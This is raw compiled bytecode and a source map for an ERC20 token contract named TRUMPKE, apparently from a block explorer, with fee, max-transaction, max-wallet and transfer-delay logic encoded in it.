b5061019161099d565b34801561030d57600080fd5b5061016f6109a3565b34801561032257600080fd5b5061019161033136600461141f565b6109ac565b6040805180820190915260078152665452554d504b4560c81b602082015290565b600061036b6103646109d7565b84846109db565b5060015b92915050565b60125481565b60006103896009600a611a0c565b61039790633b9aca00611add565b905090565b60006103a9848484610a8f565b610419846103b56109d7565b61041485604051806060016040528060288152602001611b5d602891396001600160a01b038a166000908152600260205260408120906103f36109d7565b6001600160a01b031681526020810191909152604001600020549190610ee1565b6109db565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61044c6109d7565b6000546001600160a01b039081169116146104825760405162461bcd60e51b815260040161047990611792565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104d46109d7565b6000546001600160a01b039081169116146105015760405162461bcd60e51b815260040161047990611792565b61050d6009600a611a0c565b61051b90633b9aca00611add565b60115561052a6009600a611a0c565b61053890633b9aca00611add565b600e55600d805460ff19169055565b60115481565b6105556109d7565b6000546001600160a01b039081169116146105825760405162461bcd60e51b815260040161047990611792565b601454600160a01b900460ff16156105ac5760405162461bcd60e51b8152600401610479906118d0565b601354600f546001600160a01b039091169063f305d71990479030906000806105d36106f8565b426040518863ffffffff1660e01b81526004016105f596959493929190611556565b6060604051808303818588803b15801561060e57600080fd5b505af1158015610622573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061064791906114e2565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926106819216906000199060040161153d565b602060405180830381600087803b15801561069b57600080fd5b505af11580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d391906114c2565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b6000546001600160a01b031690565b600e5481565b6040805180820190915260068152655452554d504b60d01b602082015290565b6107356109d7565b6000546001600160a01b039081169116146107625760405162461bcd60e51b815260040161047990611792565b601454600160a01b900460ff161561078c5760405162461bcd60e51b8152600401610479906118d0565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107dd9030906001600160a01b03166107cf6009600a611a0c565b61041490633b9aca00611add565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082b57600080fd5b505afa15801561083f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108639190611403565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108c057600080fd5b505afa1580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f89190611403565b6040518363ffffffff1660e01b8152600401610915929190611523565b602060405180830381600087803b15801561092f57600080fd5b505af1158015610943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109679190611403565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b600061036b6109966109d7565b8484610a8f565b60105481565b600d5460ff1681565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610a015760405162461bcd60e51b81526004016104799061188c565b6001600160a01b038216610a275760405162461bcd60e51b815260040161047990611669565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610a82908590611907565b60405180910390a3505050565b6001600160a01b038316610ab55760405162461bcd60e51b815260040161047990611810565b6001600160a01b038216610adb5760405162461bcd60e51b8152600401610479906115ef565b60008111610afb5760405162461bcd60e51b8152600401610479906117c7565b601454600160b01b900460ff161580610b1d5750601454600160a81b900460ff165b15610bc1576001600160a01b038316600090815260016020526040902054610b459082610f1b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b749082610f5d565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611b8583398151915290610bb4908590611907565b60405180910390a3610edc565b6000610bcb6106f8565b6001600160a01b0316846001600160a01b031614158015610c055750610bef6106f8565b6001600160a01b0316836001600160a01b031614155b15610ea757610c366064610c30600954600c5411610c2557600554610c29565b6007545b8590610f8c565b90610fd1565b600d5490915060ff1615610cb6576013546001600160a01b03848116911614801590610c7057506014546001600160a01b03848116911614155b15610cb657326000908152600460205260409020544311610ca35760405162461bcd60e51b8152600401610479906116e2565b3260009081526004602052604090204390555b6014546001600160a01b038581169116148015610ce157506013546001600160a01b03848116911614155b8015610d0657506001600160a01b03831660009081526003602052604090205460ff16155b15610d7857601154821115610d2d5760405162461bcd60e51b815260040161047990611632565b600e5482610d3a85610429565b610d44919061198e565b1115610d625760405162461bcd60e51b815260040161047990611855565b600c8054906000610d7283611b13565b91905055505b6014546001600160a01b038481169116148015610d9e57506001600160a01b0384163014155b15610dcb57610dc86064610c30600a54600c5411610dbe57600654610c29565b6008548590610f8c565b90505b6000610dd630610429565b601454909150600160a81b900460ff16158015610e0057506014546001600160a01b038581169116145b8015610e155750601454600160b01b900460ff165b8015610e245750600b54600c54115b8015610e4957506001600160a01b03851660009081526003602052604090205460ff16155b8015610e6e57506001600160a01b03841660009081526003602052604090205460ff16155b15610ea5576010548110610e9957610e99610e9484610e8f84601254611013565b611013565b611028565b47610ea3476111cd565b505b505b6001600160a01b03841660009081526003602052604081205460ff1615610ecc575060015b610ed9858585848661120f565b50505b505050565b60008184841115610f055760405162461bcd60e51b8152600401610479919061159c565b506000610f128486611afc565b95945050505050565b600061041d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee1565b600080610f6a838561198e565b90508381101561041d5760405162461bcd60e51b8152600401610479906116ab565b600082610f9b5750600061036f565b6000610fa78385611add565b905082610fb485836119a6565b1461041d5760405162461bcd60e51b815260040161047990611751565b600061041d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112ce565b6000818311611022578261041d565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110d257600080fd5b505afa1580156110e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110a9190611403565b8160018151811061112b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260135461115191309116846109db565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118a908590600090869030904290600401611910565b600060405180830381600087803b1580156111a457600080fd5b505af11580156111b8573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b600d546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561120b573d6000803e3d6000fd5b5050565b828561121e81808486886112fc565b6112288383611afc565b6001600160a01b03881660009081526001602052604090205490925061124e9086610f1b565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461127d9083610f5d565b6001600160a01b038088166000818152600160205260409081902093909355915190891690600080516020611b85833981519152906112bd908690611907565b60405180910390a350505050505050565b600081836112ef5760405162461bcd60e51b8152600401610479919061159c565b506000610f1284866119a6565b801561137b5761132e61130f848461198e565b6001600160a01b03861660009081526001602052604090205490610f5d565b6001600160a01b038086166000818152600160205260409081902093909355915190871690600080516020611b858339815191529061136e908690611907565b60405180910390a3610ed9565b8115610ed9573060009081526001602052604090205461139b9083610f5d565b30600081815260016020526040908190209290925590516001600160a01b03871690600080516020611b85833981519152906113d8908690611907565b60405180910390a35050505050565b6000602082840312156113f8578081fd5b813561041d81611b44565b600060208284031215611414578081fd5b815161041d81611b44565b60008060408385031215611431578081fd5b823561143c81611b44565b9150602083013561144c81611b44565b809150509250929050565b60008060006060848603121561146b578081fd5b833561147681611b44565b9250602084013561148681611b44565b929592945050506040919091013590565b600080604083850312156114a9578182fd5b82356114b481611b44565b946020939093013593505050565b6000602082840312156114d3578081fd5b8151801515811461041d578182fd5b6000806000606084860312156114f6578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156115c8578581018301518582016040015282016115ac565b818111156115d95783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561195f5784516001600160a01b03168352938301939183019160010161193a565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b600082198211156119a1576119a1611b2e565b500190565b6000826119c157634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116119d85750611a03565b8187048211156119ea576119ea611b2e565b808616156119f757918102915b9490941c9380026119c9565b94509492505050565b600061041d60001960ff851684600082611a285750600161041d565b81611a355750600061041d565b8160018114611a4b5760028114611a5557611a82565b600191505061041d565b60ff841115611a6657611a66611b2e565b6001841b915084821115611a7c57611a7c611b2e565b5061041d565b5060208310610133831016604e8410600b8410161715611ab5575081810a83811115611ab057611ab0611b2e565b61041d565b611ac284848460016119c6565b808604821115611ad457611ad4611b2e565b02949350505050565b6000816000190483118215151615611af757611af7611b2e565b500290565b600082821015611b0e57611b0e611b2e565b500390565b6000600019821415611b2757611b27611b2e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b5957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122059923e7fcc3028bb630c0d582496f5705c12158d49207fe6c5b666ba858886df64736f6c63430008000033

Deployed Bytecode Sourcemap

3928:9904:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7121:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8004:186;;;;;;;;;;-1:-1:-1;8004:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;5170:55::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7398:95::-;;;;;;;;;;;;;:::i;8198:446::-;;;;;;;;;;-1:-1:-1;8198:446:0;;;;;:::i;:::-;;:::i;7307:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7501:119::-;;;;;;;;;;-1:-1:-1;7501:119:0;;;;;:::i;:::-;;:::i;3773:148::-;;;;;;;;;;;;;:::i;:::-;;6331:158;;;;;;;;;;;;;:::i;5107:56::-;;;;;;;;;;;;;:::i;6597:479::-;;;;;;;;;;;;;:::i;3559:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4912:58::-;;;;;;;;;;;;;:::i;7212:87::-;;;;;;;;;;;;;:::i;5867:456::-;;;;;;;;;;;;;:::i;7628:192::-;;;;;;;;;;-1:-1:-1;7628:192:0;;;;;:::i;:::-;;:::i;5044:56::-;;;;;;;;;;;;;:::i;4598:40::-;;;;;;;;;;;;;:::i;7828:168::-;;;;;;;;;;-1:-1:-1;7828:168:0;;;;;:::i;:::-;;:::i;7121:83::-;7191:5;;;;;;;;;;;;-1:-1:-1;;;7191:5:0;;;;7121:83;:::o;8004:186::-;8104:4;8121:39;8130:12;:10;:12::i;:::-;8144:7;8153:6;8121:8;:39::i;:::-;-1:-1:-1;8178:4:0;8004:186;;;;;:::o;5170:55::-;;;;:::o;7398:95::-;7451:7;4779:15;4723:1;4779:2;:15;:::i;:::-;4766:28;;:10;:28;:::i;:::-;7471:14;;7398:95;:::o;8198:446::-;8330:4;8347:36;8357:6;8365:9;8376:6;8347:9;:36::i;:::-;8394:220;8417:6;8438:12;:10;:12::i;:::-;8465:138;8521:6;8465:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8465:19:0;;;;;;:11;:19;;;;;;8485:12;:10;:12::i;:::-;-1:-1:-1;;;;;8465:33:0;;;;;;;;;;;;-1:-1:-1;8465:33:0;;;:138;:37;:138::i;:::-;8394:8;:220::i;:::-;-1:-1:-1;8632:4:0;8198:446;;;;;;:::o;7307:83::-;4723:1;7307:83;:::o;7501:119::-;-1:-1:-1;;;;;7594:18:0;7567:7;7594:18;;;:9;:18;;;;;;;7501:119::o;3773:148::-;3696:12;:10;:12::i;:::-;3686:6;;-1:-1:-1;;;;;3686:6:0;;;:22;;;3678:67;;;;-1:-1:-1;;;3678:67:0;;;;;;;:::i;:::-;;;;;;;;;3880:1:::1;3864:6:::0;;3843:40:::1;::::0;-1:-1:-1;;;;;3864:6:0;;::::1;::::0;3843:40:::1;::::0;3880:1;;3843:40:::1;3911:1;3894:19:::0;;-1:-1:-1;;;;;;3894:19:0::1;::::0;;3773:148::o;6331:158::-;3696:12;:10;:12::i;:::-;3686:6;;-1:-1:-1;;;;;3686:6:0;;;:22;;;3678:67;;;;-1:-1:-1;;;3678:67:0;;;;;;;:::i;:::-;4779:15:::1;4723:1;4779:2;:15;:::i;:::-;4766:28;::::0;:10:::1;:28;:::i;:::-;6385:12;:22:::0;4779:15:::1;4723:1;4779:2;:15;:::i;:::-;4766:28;::::0;:10:::1;:28;:::i;:::-;6418:14;:24:::0;6453:20:::1;:28:::0;;-1:-1:-1;;6453:28:0::1;::::0;;6331:158::o;5107:56::-;;;;:::o;6597:479::-;3696:12;:10;:12::i;:::-;3686:6;;-1:-1:-1;;;;;3686:6:0;;;:22;;;3678:67;;;;-1:-1:-1;;;3678:67:0;;;;;;;:::i;:::-;6661:11:::1;::::0;-1:-1:-1;;;6661:11:0;::::1;;;6660:12;6652:48;;;;-1:-1:-1::0;;;6652:48:0::1;;;;;;;:::i;:::-;6713:15;::::0;6817:14:::1;::::0;-1:-1:-1;;;;;6713:15:0;;::::1;::::0;:31:::1;::::0;6752:21:::1;::::0;6797:4:::1;::::0;6713:15:::1;::::0;6878:7:::1;:5;:7::i;:::-;6900:15;6713:213;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6946:13:0::1;::::0;6977:15:::1;::::0;6939:71:::1;::::0;-1:-1:-1;;;6939:71:0;;-1:-1:-1;;;;;6946:13:0;;::::1;::::0;-1:-1:-1;6939:29:0::1;::::0;:71:::1;::::0;6977:15:::1;::::0;-1:-1:-1;;6995:14:0;6939:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7021:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;7021:18:0;;::::1;-1:-1:-1::0;;;7021:18:0::1;7050;-1:-1:-1::0;;;7050:18:0::1;::::0;;6597:479::o;3559:79::-;3597:7;3624:6;-1:-1:-1;;;;;3624:6:0;3559:79;:::o;4912:58::-;;;;:::o;7212:87::-;7284:7;;;;;;;;;;;;-1:-1:-1;;;7284:7:0;;;;7212:87;:::o;5867:456::-;3696:12;:10;:12::i;:::-;3686:6;;-1:-1:-1;;;;;3686:6:0;;;:22;;;3678:67;;;;-1:-1:-1;;;3678:67:0;;;;;;;:::i;:::-;5928:11:::1;::::0;-1:-1:-1;;;5928:11:0;::::1;;;5927:12;5919:48;;;;-1:-1:-1::0;;;5919:48:0::1;;;;;;;:::i;:::-;5980:15;:104:::0;;-1:-1:-1;;;;;;5980:104:0::1;6031:42;5980:104;::::0;;;;6097:58:::1;::::0;6114:4:::1;::::0;-1:-1:-1;;;;;6129:15:0::1;4779;4723:1;4779:2;:15;:::i;:::-;4766:28;::::0;:10:::1;:28;:::i;6097:58::-;6202:15;;;;;;;;;-1:-1:-1::0;;;;;6202:15:0::1;-1:-1:-1::0;;;;;6202:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6184:55:0::1;;6262:4;6282:15;;;;;;;;;-1:-1:-1::0;;;;;6282:15:0::1;-1:-1:-1::0;;;;;6282:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6184:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6168:13;:147:::0;;-1:-1:-1;;;;;;6168:147:0::1;-1:-1:-1::0;;;;;6168:147:0;;;::::1;::::0;;;::::1;::::0;;5867:456::o;7628:192::-;7731:4;7748:42;7758:12;:10;:12::i;:::-;7772:9;7783:6;7748:9;:42::i;5044:56::-;;;;:::o;4598:40::-;;;;;;:::o;7828:168::-;-1:-1:-1;;;;;7961:18:0;;;7934:7;7961:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7828:168::o;1087:98::-;1167:10;1087:98;:::o;8652:335::-;-1:-1:-1;;;;;8745:19:0;;8737:68;;;;-1:-1:-1;;;8737:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8824:21:0;;8816:68;;;;-1:-1:-1;;;8816:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8895:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8947:32;;;;;8925:6;;8947:32;:::i;:::-;;;;;;;;8652:335;;;:::o;10679:3150::-;-1:-1:-1;;;;;10767:18:0;;10759:68;;;;-1:-1:-1;;;10759:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10846:16:0;;10838:64;;;;-1:-1:-1;;;10838:64:0;;;;;;;:::i;:::-;10930:1;10921:6;:10;10913:64;;;;-1:-1:-1;;;10913:64:0;;;;;;;:::i;:::-;10993:11;;-1:-1:-1;;;10993:11:0;;;;10992:12;;:22;;-1:-1:-1;11008:6:0;;-1:-1:-1;;;11008:6:0;;;;10992:22;10988:223;;;-1:-1:-1;;;;;11049:15:0;;;;;;:9;:15;;;;;;:27;;11069:6;11049:19;:27::i;:::-;-1:-1:-1;;;;;11031:15:0;;;;;;;:9;:15;;;;;;:45;;;;11107:13;;;;;;;:25;;11125:6;11107:17;:25::i;:::-;-1:-1:-1;;;;;11091:13:0;;;;;;;:9;:13;;;;;;;:41;;;;11152:26;;;;;;-1:-1:-1;;;;;;;;;;;11152:26:0;;;11171:6;;11152:26;:::i;:::-;;;;;;;;11193:7;;10988:223;11221:15;11263:7;:5;:7::i;:::-;-1:-1:-1;;;;;11255:15:0;:4;-1:-1:-1;;;;;11255:15:0;;;:32;;;;;11280:7;:5;:7::i;:::-;-1:-1:-1;;;;;11274:13:0;:2;-1:-1:-1;;;;;11274:13:0;;;11255:32;11251:2405;;;11314:208;11518:3;11314:181;11378:15;;11366:9;;:27;11365:111;;11462:14;;11365:111;;;11422:12;;11365:111;11314:6;;:28;:181::i;:::-;:203;;:208::i;:::-;11543:20;;11304:218;;-1:-1:-1;11543:20:0;;11539:522;;;11624:15;;-1:-1:-1;;;;;11610:30:0;;;11624:15;;11610:30;;;;:83;;-1:-1:-1;11679:13:0;;-1:-1:-1;;;;;11665:28:0;;;11679:13;;11665:28;;11610:83;11584:462;;;11799:9;11770:39;;;;:28;:39;;;;;;11812:12;-1:-1:-1;11736:213:0;;;;-1:-1:-1;;;11736:213:0;;;;;;;:::i;:::-;12001:9;11972:39;;;;:28;:39;;;;;12014:12;11972:54;;11584:462;12107:13;;-1:-1:-1;;;;;12099:21:0;;;12107:13;;12099:21;:72;;;;-1:-1:-1;12155:15:0;;-1:-1:-1;;;;;12141:30:0;;;12155:15;;12141:30;;12099:72;:112;;;;-1:-1:-1;;;;;;12193:18:0;;;;;;:14;:18;;;;;;;;12192:19;12099:112;12077:434;;;12264:12;;12254:6;:22;;12246:60;;;;-1:-1:-1;;;12246:60:0;;;;;;;:::i;:::-;12381:14;;12371:6;12355:13;12365:2;12355:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;12325:140;;;;-1:-1:-1;;;12325:140:0;;;;;;;:::i;:::-;12484:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12077:434;12537:13;;-1:-1:-1;;;;;12531:19:0;;;12537:13;;12531:19;:44;;;;-1:-1:-1;;;;;;12554:21:0;;12570:4;12554:21;;12531:44;12527:330;;;12606:235;12837:3;12606:204;12678:16;;12666:9;;:28;12665:122;;12772:15;;12665:122;;;12727:13;;12606:6;;:32;:204::i;:235::-;12596:245;;12527:330;12873:28;12904:24;12922:4;12904:9;:24::i;:::-;12966:6;;12873:55;;-1:-1:-1;;;;12966:6:0;;;;12965:7;:47;;;;-1:-1:-1;12999:13:0;;-1:-1:-1;;;;;12993:19:0;;;12999:13;;12993:19;12965:47;:79;;;;-1:-1:-1;13033:11:0;;-1:-1:-1;;;13033:11:0;;;;12965:79;:130;;;;;13077:18;;13065:9;;:30;12965:130;:172;;;;-1:-1:-1;;;;;;13117:20:0;;;;;;:14;:20;;;;;;;;13116:21;12965:172;:212;;;;-1:-1:-1;;;;;;13159:18:0;;;;;;:14;:18;;;;;;;;13158:19;12965:212;12943:702;;;13239:17;;13215:20;:41;13212:206;;13281:117;13324:51;13328:6;13336:38;13340:20;13362:11;;13336:3;:38::i;:::-;13324:3;:51::i;:::-;13281:16;:117::i;:::-;13483:21;13575:35;13588:21;13575:12;:35::i;:::-;12943:702;;11251:2405;;-1:-1:-1;;;;;13701:20:0;;13668:14;13701:20;;;:14;:20;;;;;;;;13697:63;;;-1:-1:-1;13747:1:0;13697:63;13772:49;13787:4;13793:2;13797:6;13805;13813:7;13772:14;:49::i;:::-;10679:3150;;;;;;:::o;2210:224::-;2330:7;2366:12;2358:6;;;;2350:29;;;;-1:-1:-1;;;2350:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2390:9:0;2402:5;2406:1;2402;:5;:::i;:::-;2390:17;2210:224;-1:-1:-1;;;;;2210:224:0:o;2066:136::-;2124:7;2151:43;2155:1;2158;2151:43;;;;;;;;;;;;;;;;;:3;:43::i;1879:179::-;1937:7;;1969:5;1973:1;1969;:5;:::i;:::-;1957:17;;1998:1;1993;:6;;1985:46;;;;-1:-1:-1;;;1985:46:0;;;;;;;:::i;2442:246::-;2500:7;2524:6;2520:47;;-1:-1:-1;2554:1:0;2547:8;;2520:47;2577:9;2589:5;2593:1;2589;:5;:::i;:::-;2577:17;-1:-1:-1;2622:1:0;2613:5;2617:1;2577:17;2613:5;:::i;:::-;:10;2605:56;;;;-1:-1:-1;;;2605:56:0;;;;;;;:::i;2696:132::-;2754:7;2781:39;2785:1;2788;2781:39;;;;;;;;;;;;;;;;;:3;:39::i;10073:107::-;10130:7;10162:1;10158;:5;10157:15;;10171:1;10157:15;;;-1:-1:-1;10167:1:0;10073:107;-1:-1:-1;10073:107:0:o;10188:483::-;5461:6;:13;;-1:-1:-1;;;;5461:13:0;-1:-1:-1;;;5461:13:0;;;10290:16:::1;::::0;;10304:1:::1;10290:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10290:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10290:16:0::1;10266:40;;10335:4;10317;10322:1;10317:7;;;;;;-1:-1:-1::0;;;10317:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10317:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10361:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10361:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10317:7;;10361:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10351:4;10356:1;10351:7;;;;;;-1:-1:-1::0;;;10351:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10351:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10426:15:::1;::::0;10394:62:::1;::::0;10411:4:::1;::::0;10426:15:::1;10444:11:::0;10394:8:::1;:62::i;:::-;10467:15;::::0;:196:::1;::::0;-1:-1:-1;;;10467:196:0;;-1:-1:-1;;;;;10467:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10548:11;;10467:15:::1;::::0;10590:4;;10617::::1;::::0;10637:15:::1;::::0;10467:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5497:6:0;:14;;-1:-1:-1;;;;5497:14:0;;;-1:-1:-1;;;;10188:483:0:o;6497:92::-;6554:10;;:27;;:10;;;;-1:-1:-1;;;;;6554:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;6497:92;:::o;8995:500::-;9184:6;9213:4;9238:56;9213:4;;9184:6;9278:7;9287:6;9238:12;:56::i;:::-;9315:18;9326:7;9315:18;;:::i;:::-;-1:-1:-1;;;;;9364:15:0;;;;;;:9;:15;;;;;;9315:18;;-1:-1:-1;9364:27:0;;9384:6;9364:19;:27::i;:::-;-1:-1:-1;;;;;9346:15:0;;;;;;;:9;:15;;;;;;:45;;;;9418:13;;;;;;;:26;;9436:7;9418:17;:26::i;:::-;-1:-1:-1;;;;;9402:13:0;;;;;;;:9;:13;;;;;;;:42;;;;9460:27;;;;;;-1:-1:-1;;;;;;;;;;;9460:27:0;;;9479:7;;9460:27;:::i;:::-;;;;;;;;8995:500;;;;;;;:::o;2836:223::-;2956:7;2991:12;2984:5;2976:28;;;;-1:-1:-1;;;2976:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3015:9:0;3027:5;3031:1;3027;:5;:::i;9503:562::-;9638:10;;9634:424;;9689:44;9715:17;9725:7;9715;:17;:::i;:::-;-1:-1:-1;;;;;9689:21:0;;;;;;:9;:21;;;;;;;:25;:44::i;:::-;-1:-1:-1;;;;;9665:21:0;;;;;;;:9;:21;;;;;;;:68;;;;9753:40;;;;;;-1:-1:-1;;;;;;;;;;;9753:40:0;;;9785:7;;9753:40;:::i;:::-;;;;;;;;9634:424;;;9829:11;;9826:221;;9905:4;9887:24;;;;:9;:24;;;;;;:77;;9938:7;9887:28;:77::i;:::-;9878:4;9860:24;;;;:9;:24;;;;;;;:104;;;;9988:43;;-1:-1:-1;;;;;9988:43:0;;;-1:-1:-1;;;;;;;;;;;9988:43:0;;;10023:7;;9988:43;:::i;:::-;;;;;;;;9503:562;;;;;:::o;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:297::-;;1880:2;1868:9;1859:7;1855:23;1851:32;1848:2;;;1901:6;1893;1886:22;1848:2;1938:9;1932:16;1991:5;1984:13;1977:21;1970:5;1967:32;1957:2;;2018:6;2010;2003:22;2062:316;;;;2219:2;2207:9;21